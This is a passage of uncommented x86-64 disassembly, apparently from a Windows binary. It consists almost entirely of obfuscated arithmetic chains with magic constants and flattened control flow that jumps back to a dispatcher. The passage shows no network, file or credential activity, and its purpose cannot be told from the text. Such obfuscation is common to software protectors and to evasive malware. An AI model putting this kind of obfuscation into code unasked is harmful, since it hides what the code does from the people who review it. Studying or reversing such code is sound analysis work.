or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
mov ebx, edx
xor bl, 1
and bl, al
or al, dl
and dl, cl
xor al, 1
or dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
xor r9b, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, r9d
xor cl, al
xor cl, 1
and cl, al
or r9b, al
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xfc102587
mov edx, 0xc1cf7622
cmovne eax, edx
test bl, 1
mov ebx, 0xfc102587
cmove eax, ebx
test cl, 1
cmovne eax, edx
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov eax, 0x9c703799
mov ecx, dword [rbp - 8]
mov dword [rbp - 0x54], ecx
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov ecx, dword [0x1400968b4]
lea r14d, [rcx - 1]
imul r14d, ecx
mov r8d, r14d
not r8d
mov r9d, r8d
mov edi, r8d
mov r10d, r8d
mov r11d, r8d
mov ebx, r8d
and ebx, 0x4488571e
mov eax, r14d
and eax, 0xbb77a8e1
or eax, ebx
mov ebx, eax
not ebx
xor eax, 0x84112
or r9d, 0x924cc1d2
mov edx, r9d
not edx
or eax, 0xb32c24
and eax, 0x12bbedb6
and ebx, 0x80440040
or ebx, eax
and r9d, 0x12bbedb6
and edx, 0x6d001209
or edx, r9d
xor edx, ebx
mov eax, edx
not eax
and eax, 0x6db33e2d
and edx, 0x924cc1d2
or edx, eax
mov eax, edx
not eax
and eax, 0xb64b5669
and edx, 0x49b4a996
or edx, eax
mov eax, edx
xor eax, 0xa08802
xor edx, 0x22011401
and edx, 0x6b153595
and eax, 0x94eaca6a
or eax, edx
mov edx, eax
xor edx, 0x23140501
xor eax, 0x94eaca6a
or edi, r14d
mov ecx, edi
not ecx
and edx, 0xa7b44f61
mov ebx, eax
and ebx, 0x584bb09e
or ebx, edx
xor ebx, 0x584bb09e
mov edx, edi
and edx, 0xe470c0a1
xor edi, 0xf013ff65
and edi, ecx
and ecx, 0x1b8f3f5e
or ecx, edx
xor ecx, 0x1b8f3f5e
mov edx, ecx
mov esi, ebx
and esi, ecx
xor ecx, ebx
and ebx, 0xfec009a
and eax, 0xf013ff65
or eax, ebx
and edx, 0xfec009a
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, eax
not edx
and edx, edi
not edi
and edi, eax
or edi, edx
or ecx, esi
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1be6f19e
and ecx, 0xe4190e61
or ecx, eax
mov eax, ecx
not eax
and eax, 0x94bf30b2
and ecx, 0x6b40cf4d
or ecx, eax
mov edx, ecx
xor edx, 0x70a63ed3
xor ecx, 0x8f59c12d
and ecx, edx
or edx, 1
mov ebx, edx
not ebx
mov esi, ecx
not esi
mov edi, esi
and edi, 0xbf50fb9e
and ecx, 0x40af0461
or ecx, edi
or esi, edx
and edx, 0xbf50fb9e
and ebx, 0x40af0460
or ebx, edx
xor ebx, ecx
not esi
or esi, ebx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xc91ed4b8
and esi, 0x36e12b47
or esi, edx
xor esi, 0x36e12b46
or esi, ecx
mov ebx, esi
not ebx
and r10d, 0x14201490
mov ecx, r14d
and ecx, 0x48c8206d
or ecx, r10d
xor ecx, 0x48c8206d
mov edi, r14d
and edi, 0xa317cb02
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x1edc1dc6
and edi, 0xe123e239
or edi, ecx
mov ecx, edi
xor ecx, 0xbdcbd6c5
and r11d, 0xd1ee1cdc
mov edx, r14d
and edx, 0x2e11e323
or edx, r11d
mov eax, edx
xor eax, 0x2e11e323
xor edi, 0x4234293a
and eax, edi
xor edx, 0xd1ee1cdc
and edx, ecx
or edx, eax
not edx
or edx, edi
mov r10d, edx
not r10d
mov ecx, esi
and ecx, 0xe779dc3b
mov r11d, ebx
and r11d, 0x188623c4
or r11d, ecx
mov ecx, r11d
xor ecx, 0x8000344
xor r11d, 0xe779dc3b
mov edi, r11d
and edi, 0x34a6b8aa
and ecx, 0xcb594755
or ecx, edi
mov edi, r10d
and edi, 0x34a6b8aa
mov eax, edx
and eax, 0xcb594755
or eax, edi
or r11d, r10d
xor eax, ecx
mov r9d, esi
xor esi, 0x2e9d141e
and esi, ebx
not r11d
or r11d, eax
mov eax, r8d
and r9d, 0x81026961
and ebx, 0x50608280
or ebx, r9d
mov r15d, r14d
and eax, 0x30612b74
and r14d, 0xcf9ed48b
or r14d, eax
mov edi, edx
xor edx, 0x2e9d141e
and edx, r10d
not r14d
or r14d, r8d
xor ebx, 0x50608280
and edi, 0x480ee602
and r10d, 0xb7f119fd
or r10d, edi
mov edi, r10d
xor edi, 0xb7f119fd
xor r10d, 0x996c0de3
and r10d, edi
mov edi, ebx
and edi, esi
xor esi, ebx
mov ecx, r11d
not ecx
or esi, edi
mov ebx, r10d
and ebx, edx
xor edx, r10d
or edx, ebx
mov eax, esi
not eax
and eax, 0x5e4c4455
and esi, 0xa1b3bbaa
or esi, eax
mov eax, edx
not eax
and eax, 0x5e4c4455
and edx, 0xa1b3bbaa
or edx, eax
xor edx, esi
mov eax, edx
not eax
mov r9d, r11d
or r9d, eax
mov ebx, r9d
not ebx
and r11d, 0x2e48692d
and ecx, 0xd1b796d2
or ecx, r11d
and eax, 0x2e48692d
and edx, 0xd1b796d2
or edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, r9d
and ecx, 0x6cf040b4
and ebx, 0x930fbf4b
or ebx, ecx
or r9d, eax
and eax, 0x6cf040b4
and edx, 0x930fbf4b
or edx, eax
xor edx, ebx
not r9d
or r9d, edx
and r15d, 0x923c9957
and r8d, 0x6dc366a8
or r8d, r15d
mov eax, r8d
xor eax, 0x10200954
xor r8d, 0x4d824488
and r8d, 0xcf9ed48b
and eax, 0x30612b74
or eax, r8d
not eax
mov r8d, eax
or r8d, 0xcf9ed48b
mov ecx, r14d
not ecx
mov edx, r8d
xor edx, 0xfd100da8
and edx, r8d
or eax, 0xcffff6df
mov esi, eax
not esi
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x40012eac
and edx, 0x32ea4150
or edx, edi
mov edi, r14d
xor edi, 0xfd100da8
and edi, ecx
or ecx, 0xfd100da8
or ebx, eax
and eax, 0x4005beaf
and esi, 0x30000100
or esi, eax
mov eax, ecx
not eax
xor esi, edx
not ebx
or ebx, esi
mov edx, edi
not edx
mov esi, ecx
and esi, 0x94becae6
and eax, 0x2413011
or eax, esi
or ecx, edx
and edx, 0x94becae6
and edi, 0x6b413519
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov eax, ebx
not eax
and eax, 0xe3a92114
and ebx, 0x1046ceea
or ebx, eax
mov eax, ecx
not eax
and eax, 0xe3a93115
and ecx, 0x1c56ceea
or ecx, eax
xor ecx, ebx
mov eax, r8d
and eax, r14d
xor r14d, r8d
or r14d, eax
mov eax, r14d
not eax
and eax, 0x6377876e
and r14d, 0x9c887891
or r14d, eax
mov eax, r14d
xor eax, 0x90800010
mov r15d, ecx
not r15d
xor r14d, 0x6377876e
mov ebx, r15d
and ebx, 0x2e2c7deb
and ecx, 0xd1d38214
or ecx, ebx
or r15d, r14d
and r14d, 0x2e2c7deb
and eax, 0xd1d38214
or eax, r14d
xor eax, ecx
not r15d
or r15d, eax
mov eax, r15d
not eax
and eax, 0x40048030
mov ecx, r15d
and ecx, 0x31480e41
or ecx, eax
xor ecx, 0x31480e41
and r15d, 0x8eb3718e
or r15d, ecx
mov eax, r15d
not eax
and eax, 0xa45e8ae
and r15d, 0xf5ba1751
or r15d, eax
mov r11d, r15d
xor r11d, 0xb497b254
mov r10d, r9d
not r10d
mov r8d, r10d
and r8d, 0x24c79b42
mov r14d, r10d
and r14d, r9d
mov r12d, r9d
mov esi, r9d
xor esi, 0x95660b24
and esi, r9d
and r9d, 0xdb3864bd
or r9d, r8d
xor r9d, 0xdb3864bd
mov edi, r9d
and edi, r14d
xor r14d, r9d
or r14d, edi
mov eax, r14d
not eax
and eax, 0xd0c48e7
and r14d, 0xf2f3b718
or r14d, eax
mov eax, r14d
xor eax, 0xa2101208
and eax, 0xae181a6f
xor r14d, 0x5cebad77
or r14d, eax
mov eax, r10d
and eax, 0x27db3876
and r12d, 0xd824c789
or r12d, eax
mov eax, r12d
xor eax, 0x5024c580
and eax, 0x51e7e590
xor r12d, 0x89c32219
or r12d, eax
mov eax, r15d
xor eax, 0x4b684dab
mov edi, eax
and edi, 0x93a01828
xor r15d, 0x2737aa7c
and r15d, r11d
mov ebx, edi
and ebx, r15d
xor r15d, edi
or r15d, ebx
mov edx, r15d
not edx
and edx, 0x6c5fe7d7
and r15d, 0x93a01828
or r15d, edx
mov edx, r15d
not edx
mov ebx, edx
and ebx, 0xae181a6f
and r15d, 0x51e7e590
or r15d, ebx
not r15d
or r15d, edx
and eax, 0x228c910a
and r11d, 0xdd736ef5
or r11d, eax
mov edi, r11d
xor edi, 0xdd736ef5
xor r11d, 0x220c900a
and r11d, 0x2e1cf07a
mov eax, edi
and eax, 0xd1e30f85
or eax, r11d
mov ecx, r12d
not ecx
and ecx, r14d
not r14d
xor eax, 0x7ffb15ea
and edi, 0x51e7e590
or edi, eax
mov ebx, r14d
xor ebx, r12d
and ebx, r14d
and r12d, r14d
or r12d, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xc00844b3
and ebx, 0x3ff7bb4c
or ebx, ecx
mov ecx, r12d
not ecx
or eax, ecx
and ecx, 0xc00844b3
and r12d, 0x3ff7bb4c
or r12d, ecx
xor r12d, ebx
mov ecx, r15d
not ecx
not eax
or eax, r12d
mov ebx, ecx
xor ebx, edi
and ebx, ecx
and r15d, 0x3412292e
and ecx, 0xcbedd6d1
or ecx, r15d
mov edx, edi
not edx
and edi, 0x3412292e
and edx, 0xcbedd6d1
or edx, edi
xor edx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xc5d2941b
and ebx, 0x3a2d6be4
or ebx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xc5d2941b
and edx, 0x3a2d6be4
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
not eax
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
or eax, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
and r10d, 0x95660b24
mov ecx, r10d
and ecx, esi
xor esi, r10d
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xd2bc4cac
and esi, 0x2d43b353
or esi, ecx
xor esi, 0xb825b877
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x288b819d
mov ebx, eax
and ebx, 0xd7747e62
or ebx, edx
xor ebx, esi
xor ebx, 0x288b819d
and ebx, esi
or esi, ecx
not esi
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
mov ebx, dword [0x1400968b0]
and ecx, 0x27f11150
and eax, 0xd80eeeaf
or eax, ecx
mov ecx, eax
xor ecx, 0xd80eeeaf
xor eax, 0x27f11150
and eax, esi
not esi
and ecx, esi
or eax, ecx
xor esi, eax
test esi, eax
sete r9b
setne al
cmp ebx, 9
setg r11b
cmp ebx, 0xa
setl r10b
mov ecx, eax
xor cl, r9b
and cl, al
mov edx, r11d
or dl, cl
xor cl, 1
or cl, r10b
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, r9d
and cl, r11b
xor r11b, dl
xor dl, r11b
xor r11b, 1
or r11b, dl
mov r8d, r11d
xor r8b, 1
mov ebx, r10d
xor bl, al
xor bl, 1
mov edx, ebx
xor dl, r10b
or bl, r10b
and r10b, al
or r10b, cl
mov ecx, r10d
xor cl, 1
and al, cl
and r10b, r9b
or r10b, al
xor cl, r10b
and cl, r10b
xor bl, 1
or bl, dl
xor bl, 1
mov eax, ecx
xor al, 1
mov edx, eax
xor dl, bl
xor al, dl
and al, dl
xor dl, 1
and dl, bl
xor bl, cl
and bl, cl
mov ecx, edx
xor cl, 1
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, 1
and cl, bl
xor bl, 1
mov edx, eax
xor dl, bl
and dl, al
and bl, al
or bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov r10d, r11d
and r10b, r8b
mov esi, r10d
xor sil, 1
mov edx, r8d
xor dl, sil
or sil, r8b
xor sil, 1
or dl, sil
mov ecx, edx
xor cl, 1
and cl, bl
and dl, al
or dl, cl
mov r9d, edx
xor r9b, 1
mov ecx, r11d
and cl, r9b
and dl, r8b
or dl, cl
xor r9b, dl
and r9b, dl
xor r10b, r11b
or r10b, sil
mov ecx, r10d
xor cl, 1
or cl, r10b
xor cl, 1
xor r11b, cl
and cl, r11b
mov edx, r11d
xor dl, cl
or al, bl
xor al, 1
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
xor dl, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
and al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r10d, r9d
xor r10b, 1
mov r8d, eax
xor r8b, 1
mov ebx, r9d
or bl, r10b
mov ecx, ebx
xor cl, 1
mov r11d, r8d
or r11b, al
and bl, cl
mov edx, r9d
and dl, r10b
mov esi, ebx
and sil, cl
xor bl, cl
or bl, sil
xor dl, 1
mov esi, edx
xor sil, r10b
or dl, r10b
xor dl, 1
or dl, sil
mov esi, r11d
xor sil, 1
xor dl, bl
mov ebx, ecx
xor bl, r9b
or cl, r9b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, esi
and dl, r11b
mov ebx, edx
xor bl, 1
or bl, r11b
xor dl, sil
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and dl, al
and bl, r8b
or bl, dl
mov edx, esi
xor dl, al
or sil, al
xor sil, 1
or sil, dl
xor bl, 1
mov edx, ebx
xor dl, sil
or bl, sil
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
or dl, cl
xor dl, 1
xor bl, cl
xor bl, 1
and bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
and r8b, r9b
and r10b, al
or r10b, r8b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
xor r10b, 1
mov ecx, r10d
xor cl, al
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov eax, ebx
xor al, 1
and al, r10b
xor r10b, 1
mov ecx, ebx
xor cl, r10b
and cl, bl
and r10b, bl
or r10b, al
mov edx, ecx
xor dl, r10b
test r10b, 1
mov eax, 0x64c9891b
mov ebx, 0xe4213dbb
cmovne eax, ebx
test cl, 1
mov ecx, 0x64c9891b
cmove eax, ecx
test dl, 1
cmovne eax, ebx
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov eax, dword [rbp - 0x54]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x30]
mov eax, dword [0x1400968b4]
lea r14d, [rax - 1]
imul r14d, eax
mov r8d, r14d
not r8d
mov r9d, r8d
mov ecx, r8d
and ecx, 0x6697e28d
mov edx, r14d
and edx, 0x99681d72
or edx, ecx
mov ecx, edx
xor ecx, 0x601020
xor edx, 0x6838001
mov ebx, r14d
xor ebx, 0x8eeb9121
and ebx, r14d
or edx, 0x71146ede
mov edi, ebx
not edi
mov esi, edx
and esi, 0x8b180b8c
and ecx, 0x4e39021
or ecx, esi
or edx, edi
and edi, 0x8b180b8c
and ebx, 0x74e7f473
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xc237c742
and edx, 0x3dc838bd
or edx, ecx
mov ebx, edx
xor ebx, 0x122811c
xor edx, 0x44845040
and edx, 0xf68578c0
and ebx, 0x97a873f
or ebx, edx
mov edx, ebx
xor edx, 0x72011080
xor ebx, 0x8128422
and ebx, 0x8c96ec62
and edx, 0x7369139d
or edx, ebx
mov ebx, edx
xor ebx, 0x80148c60
xor edx, 0x4301039d
or ebx, 0x4f83639f
mov edi, ebx
not edi
or edx, 0xb07c9c60
mov ecx, edx
not ecx
and ebx, 0xe1c2eda6
and edi, 0x103c1040
or edi, ebx
and edx, 0xe1c2eda6
and ecx, 0xe010219
or ecx, edx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x4f83639f
and ecx, 0xb07c9c60
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0x6a4eac37
mov edi, edx
and edi, ebx
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
and edi, 0x95b153c9
not edx
and edx, 0x6a4eac36
or edx, edi
and ebx, 0xfffffffe
xor ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, edi
and esi, 0x2ec04a57
and edx, 0xd13fb5a8
or edx, esi
or edi, ecx
and ecx, 0x2ec04a57
and ebx, 0xd13fb5a8
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov ecx, edi
not ecx
mov ebx, ecx
or ebx, 0x4858b33c
mov edx, ebx
not edx
or edi, 0x30804c83
and edi, 0x30806e9f
and ecx, 0x48589120
or ecx, edi
and ebx, 0x30806e9f
and edx, 0x87270040
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0x49d5bd41
and edx, 0xb62a42be
or edx, ecx
mov esi, edx
xor esi, 0xe4522102
xor edx, 0x18d0e7d
mov ecx, edx
and ecx, 0x1b20d4dd
and esi, 0xe4df2b22
or esi, ecx
xor esi, 0xe4df2b22
or esi, edx
mov r12d, esi
not r12d
mov ecx, r14d
and ecx, 0x6ac34604
and r9d, 0x953cb9fb
or r9d, ecx
mov ecx, r9d
xor ecx, 0x6ac34604
mov edx, r9d
xor edx, 0x11048999
and edx, 0x7946cb9d
xor r9d, 0x2b3826dd
and r9d, ecx
and ecx, 0x86b93462
or ecx, edx
mov edx, ecx
xor edx, 0x86b93462
mov ebx, edx
and ebx, 0x41fb60d9
mov edi, ebx
and edi, r9d
xor r9d, ebx
or r9d, edi
mov eax, r9d
not eax
and eax, 0xbe049f27
and r9d, 0x41fb60d8
or r9d, eax
and edx, 1
xor ecx, 0x86b93463
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8d2ec64a
and ecx, 0x72d139b5
or ecx, eax
mov eax, ecx
xor eax, 0x2411081
xor ecx, 0x8d2ec64a
mov edx, r9d
not edx
mov ebx, edx
and ebx, 0xfc962974
and r9d, 0x369d68b
or r9d, ebx
or edx, ecx
and ecx, 0xfc962974
and eax, 0x369d68b
or eax, ecx
xor eax, r9d
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0x61324f0
and eax, 0xf9ecdb0f
or eax, edx
mov edi, eax
xor edi, 0x40220b0
xor eax, 0x91204b0f
and eax, 0x93314f4f
and edi, 0x6cceb0b0
or edi, eax
mov r11d, edi
xor r11d, 0x6cceb0b0
xor edi, 0x93314f4f
mov eax, esi
and eax, 0x14100
mov ecx, r12d
and ecx, 0x20003222
or ecx, eax
mov eax, ecx
xor eax, 0x20000202
xor ecx, 0xdfffcddd
mov edx, esi
xor edx, 0xdffe8cdd
and edx, r12d
mov ebx, edx
not ebx
mov r9d, ecx
and r9d, 0x5f7ef979
and eax, 0x20010202
or eax, r9d
or ecx, ebx
and ebx, 0x5f7ef979
and edx, 0xa0810686
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xdffe8cdd
and ecx, 0x20017322
or ecx, eax
mov eax, r11d
and eax, 0x7c913409
mov edx, edi
and edx, 0x836ecbf6
or edx, eax
mov eax, edx
xor eax, 0x836ecbf6
xor edx, 0x7c913409
mov r10d, ecx
not r10d
mov r15d, r10d
and r15d, 0xc72de53f
mov ebx, edx
and ebx, 0x60954e60
mov r13d, eax
and r13d, 0x9f6ab19f
or r13d, ebx
xor r13d, 0xe62fa12d
mov r9d, r13d
xor r9d, edx
and eax, r10d
mov dword [rbp - 0x3c], eax
or r10d, edx
and edx, ecx
and ecx, 0x38d21ac0
or ecx, r15d
mov ebx, ecx
xor ebx, 0x38d21ac0
xor ecx, 0x4220250a
and ecx, 0x42f0270a
mov r15d, ebx
and r15d, 0xbd0fd8f5
or r15d, ecx
xor r15d, 0xc44ac847
and ebx, 0x86baef4d
or ebx, r15d
mov ecx, ebx
not ecx
and ecx, 0x7c08ded4
and ebx, 0x83f7212b
or ebx, ecx
mov ecx, esi
and ecx, 0x135f9c5
and r12d, 0xfeca063a
or r12d, ecx
mov ecx, ebx
xor ecx, 0x83f7212b
xor r12d, 0x7870e977
xor esi, r12d
and esi, r12d
and r9d, r13d
and r11d, 0x662887ab
and edi, 0x99d77854
or edi, r11d
mov r12d, edi
xor r12d, 0x99d77854
xor edi, 0x2628838a
and edi, 0xa7adcb9a
mov eax, r12d
and eax, 0x58523465
or eax, edi
xor eax, 0xdee8db28
and r12d, 0x794510b2
or r12d, eax
mov r11d, r12d
not r11d
mov eax, esi
not eax
mov edi, ecx
xor edi, eax
and edi, ecx
xor ebx, 0x48004244
and ebx, 0x49274245
and ecx, 0xb6d8bdba
or ecx, ebx
and eax, 0x49274245
and esi, 0xb6d8bdba
or esi, eax
xor esi, ecx
mov ebx, edi
not ebx
mov eax, esi
not eax
mov ecx, ebx
and ecx, 0x66b3459e
and edi, 0x994cba61
or edi, ecx
or ebx, eax
and eax, 0x66b3459e
and esi, 0x994cba61
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov r13d, r9d
not r13d
mov eax, r9d
xor eax, 0x32553e80
mov esi, eax
and esi, r13d
and eax, r9d
mov r15d, esi
and r15d, eax
xor eax, esi
mov edi, r11d
or edi, 0xcdaac17f
or eax, r15d
mov esi, edi
not esi
mov r15d, edi
and r15d, 0xc1c3a37b
and esi, 0x32141c80
or esi, r15d
mov r15d, r12d
xor r15d, 0xcdaac17f
and r15d, r11d
mov ecx, r15d
not ecx
or edi, ecx
and ecx, 0xc1c3a37b
and r15d, 0x3e3c5c84
or r15d, ecx
xor r15d, esi
not edi
or edi, r15d
mov r15d, eax
not r15d
and r15d, edi
not edi
and edi, eax
mov esi, r14d
xor esi, 0x8fc569a4
and esi, r14d
mov eax, r8d
and eax, 0x83238500
and r14d, 0x7cdc7aff
or r14d, eax
xor r14d, 0x83238500
or r14d, r8d
or edi, r15d
mov eax, r9d
and eax, 0x40aa84d5
and r13d, 0xbf557b2a
or r13d, eax
or r9d, r11d
and r11d, 0x40aa84d5
and r12d, 0xbf557b2a
or r12d, r11d
xor r12d, r13d
not r9d
or r9d, r12d
mov eax, r9d
not eax
mov ecx, edi
not ecx
mov r11d, ecx
and r11d, 0x7c635c59
and edi, 0x839ca3a6
or edi, r11d
or ecx, r9d
and r9d, 0x7c635c59
and eax, 0x839ca3a6
or eax, r9d
xor eax, edi
not ecx
or ecx, eax
mov eax, ebx
not eax
and eax, 0x667ee29f
mov edi, ebx
and edi, 0x99811d60
or edi, eax
not ecx
xor edi, 0x667ee29f
or edi, ecx
not edi
xor ecx, ebx
not ecx
and ecx, ebx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
not r10d
or edx, dword [rbp - 0x3c]
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, edx
mov edi, eax
not edi
mov r9d, edx
and r9d, 0xa4214af
and ebx, 0xf5bdeb50
or ebx, r9d
or edx, edi
and edi, 0xa4214af
and eax, 0xf5bdeb50
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xf1b84196
and edx, 0xe47be69
or edx, ebx
xor edx, 0xe47be69
or edx, eax
mov eax, edx
not eax
mov ebx, ecx
xor ebx, edx
and ebx, ecx
and edx, ecx
not ecx
and ecx, eax
or edx, ecx
mov r9d, ebx
not r9d
mov eax, edx
not eax
mov ecx, r9d
and ecx, 0x5d21039f
and ebx, 0xa2defc60
or ebx, ecx
or r9d, eax
and eax, 0x5d21039f
and edx, 0xa2defc60
or edx, eax
xor edx, ebx
not r9d
or r9d, edx
and r8d, 0x8fc569a4
mov eax, r8d
and eax, esi
xor esi, r8d
or esi, eax
mov eax, esi
not eax
and eax, 0x703a965b
and esi, 0x8fc569a4
or esi, eax
mov eax, esi
not eax
and eax, 0xd6f9c9be
and esi, 0x29063641
or esi, eax
mov eax, esi
xor eax, 0x29063641
xor esi, 0x42b1c838
mov ecx, r14d
not ecx
mov r15d, eax
or r15d, r14d
mov edx, r15d
not edx
and eax, 0x9c480187
and esi, 0x63b7fe78
or esi, eax
and r14d, 0x9c480187
and ecx, 0x63b7fe78
or ecx, r14d
xor ecx, esi
mov eax, ecx
not eax
mov ebx, r15d
and ebx, 0x2461048d
and edx, 0xdb9efb72
or edx, ebx
or r15d, eax
and eax, 0x2461048d
and ecx, 0xdb9efb72
or ecx, eax
xor ecx, edx
not r15d
or r15d, ecx
mov r8d, r9d
not r8d
mov eax, r9d
and eax, 0x2010a000
mov r11d, r8d
and r11d, 0x41a8004a
or r11d, eax
xor r11d, 0x41a8004a
or r11d, 0x9e475fb5
mov r10d, r11d
not r10d
mov eax, r8d
and eax, 0x61b8a04a
mov ecx, r9d
and ecx, 0x9e475fb5
or ecx, eax
mov r12d, ecx
xor r12d, r8d
and r12d, ecx
mov ecx, r15d
not ecx
mov esi, r15d
mov edx, r15d
xor edx, 0xdbc7a6b8
and edx, r15d
mov edi, ecx
and edi, 0x61b8a04a
and r15d, 0x9e475fb5
or r15d, edi
not r15d
or r15d, ecx
and ecx, 0x52870080
and esi, 0x8940a638
or esi, ecx
xor esi, 0x8940a638
mov ecx, esi
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xee7a8c54
and edx, 0x118573ab
or edx, ecx
mov r13d, edx
xor r13d, 0x40008002
xor edx, 0x35bd2aec
mov esi, edx
and esi, 0x9e475fb5
and r13d, 0x61b8a04a
or r13d, esi
not r13d
or r13d, edx
mov r14d, r12d
not r14d
mov edx, r11d
xor edx, 0xacf33349
and edx, r11d
mov edi, r10d
and edi, 0x20b02048
mov esi, r12d
xor esi, 0x530cccb6
and esi, r14d
mov ebx, r14d
or ebx, 0x530cccb6
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0x9b6f49cf
and esi, 0x6490b630
or esi, eax
mov eax, ebx
not eax
or edx, ebx
and ebx, 0x9b6f49cf
and eax, 0x24903200
or eax, ebx
xor eax, esi
not edx
or edx, eax
mov eax, edi
not eax
and eax, 0xc9cb2300
and edi, 0x3030c84a
or edi, eax
mov eax, edx
not eax
and eax, 0xcbcf27b4
and edx, 0x3430d84b
or edx, eax
xor edx, edi
mov eax, r10d
and eax, 0x388040
and r11d, 0xe7c5248e
or r11d, eax
mov esi, r13d
not esi
or r10d, r12d
and r12d, 0x183adb71
and r14d, 0xe7c5248e
or r14d, r12d
mov eax, r15d
not eax
xor r14d, r11d
not r10d
or r10d, r14d
not r10d
mov ebx, edx
and ebx, r10d
xor r10d, edx
or r10d, ebx
mov edx, r13d
and edx, 0x71a5a228
and esi, 0x8e5a5dd7
or esi, edx
mov r11d, esi
xor r11d, 0x8e5a5dd7
and r15d, 0xa24722cc
mov edx, eax
and edx, 0x5db8dd33
or edx, r15d
xor esi, 0x1b915e70
and esi, r11d
or r13d, 0x6a34fc58
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x27a49b1
and esi, 0xfd85b64e
or esi, ebx
mov ecx, r13d
not ecx
or edi, r13d
and r13d, 0x27a49b1
and ecx, 0x95810206
or ecx, r13d
xor ecx, esi
mov esi, edx
xor esi, 0x5db8dd33
xor edx, 0xc873de94
and edx, esi
and eax, 0x95cb03a7
not edi
or edi, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, edi
not ecx
and ecx, eax
not eax
and eax, edi
or eax, ecx
mov ecx, r11d
and ecx, esi
xor esi, r11d
or esi, ecx
not esi
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, r10d
not eax
and eax, 0xd1e50c44
mov ecx, r10d
and ecx, 0x26088039
or ecx, eax
xor ecx, 0x26088039
and r10d, 0x8127382
or r10d, ecx
mov eax, esi
not eax
and eax, 0xf7ed8c7d
and esi, 0x8127382
or esi, eax
mov eax, r10d
not eax
and eax, esi
not esi
and esi, r10d
or esi, eax
mov eax, r8d
and eax, 0x65c63b7c
and r8d, r9d
and r9d, 0x9a39c483
or r9d, eax
xor r9d, 0x9a39c483
mov eax, r9d
and eax, r8d
xor r9d, r8d
or r9d, eax
mov r8d, esi
not r8d
mov ecx, r8d
and ecx, 0x10482000
mov ebx, esi
and ebx, 0xc182089a
or ebx, ecx
mov r10d, ebx
xor r10d, 0x41020002
xor ebx, 0xe09b405
mov edi, r9d
mov ecx, r9d
xor ecx, 0xd1ca289a
and ecx, r9d
not r9d
